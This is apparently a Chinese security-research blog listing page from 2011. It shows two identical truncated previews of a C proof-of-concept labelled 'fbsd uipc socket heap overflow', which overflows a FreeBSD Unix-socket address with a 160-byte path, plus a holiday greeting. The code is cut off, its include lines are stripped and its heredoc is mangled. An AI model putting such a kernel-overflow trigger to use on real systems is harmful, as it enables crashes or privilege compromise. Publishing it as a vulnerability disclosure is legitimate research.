SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
2011-10-01
cat > srv.c < < _EOF
#include
#include
#include
#include
#include
#include
struct socky {
short sun_family;
char sun_path[160];
};
int connhandler(int incoming)
{
char buffer[256];
int n = 0;
n = read(incoming, buffer, 256);
buffer[n] = 0;
printf("%s\n", buffer);
n = sprintf(buffer, "fbsd uipc socket heap overflow");
write(incoming, buffer, n);
close(incoming);
return 0;
}
int main(void)
{
struct socky overfl0w;
int sock, incoming;
socklen_t alen;
pid_t child;
char buf[160];
sock = socket(PF_UNIX, SOCK_STREAM, 0);
if(sock < 0)
{
printf("socket() failed!\n");
return 1;
}
memset(&overfl0w, 0, sizeof(struct socky));
overfl0w.sun_family = AF_UNIX;
memset(buf, 0x61, sizeof(buf......
阅读全文 →
2011-10-01
cat > srv.c < < _EOF
#include
#include
#include
#include
#include
#include
struct socky {
short sun_family;
char sun_path[160];
};
int connhandler(int incoming)
{
char buffer[256];
int n = 0;
n = read(incoming, buffer, 256);
buffer[n] = 0;
printf("%s\n", buffer);
n = sprintf(buffer, "fbsd uipc socket heap overflow");
write(incoming, buffer, n);
close(incoming);
return 0;
}
int main(void)
{
struct socky overfl0w;
int sock, incoming;
socklen_t alen;
pid_t child;
char buf[160];
sock = socket(PF_UNIX, SOCK_STREAM, 0);
if(sock < 0)
{
printf("socket() failed!\n");
return 1;
}
memset(&overfl0w, 0, sizeof(struct socky));
overfl0w.sun_family = AF_UNIX;
memset(buf, 0x61, sizeof(buf......
阅读全文 →
2011-10-01
感谢各位关注本Blog 大家国庆快乐 :P
阅读全文 →